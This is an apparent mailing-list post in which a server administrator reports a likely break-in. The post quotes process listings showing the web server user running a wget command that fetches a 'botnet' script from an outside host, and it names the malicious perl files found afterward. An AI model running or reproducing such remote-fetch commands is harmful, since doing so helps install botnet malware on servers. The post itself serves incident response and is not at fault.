[vox-tech] lugod.org cracked?

I found that something was sucking up all my bandwidth late
this morning.  ps -aux showed this:

apache    3267  0.0  0.0   2560  1024 ?        S    11:14   0:00 sh -c wget leblocks.sytes.net/botnet | grep abcdeee 2>&1 3>&1
apache    3268  0.0  0.1   3060  1460 ?        S    11:14   0:00 wget leblocks.sytes.net/botnet
apache    3269  0.0  0.0   1416   448 ?        S    11:14   0:00 grep abcdeee

After killing all processes owned by apache and doing a bit
of checking around, I found these perl scripts in

-rw-r--r--   1 apache apache 20281 Feb 15 12:13 botnet
-rw-r--r--   1 apache apache  9592 Oct 12 23:23 pv
-rw-r--r--   1 apache apache  9592 Oct 12 23:23 pv.1

They are definitely malicious.  Does anyone know what this
malware is?
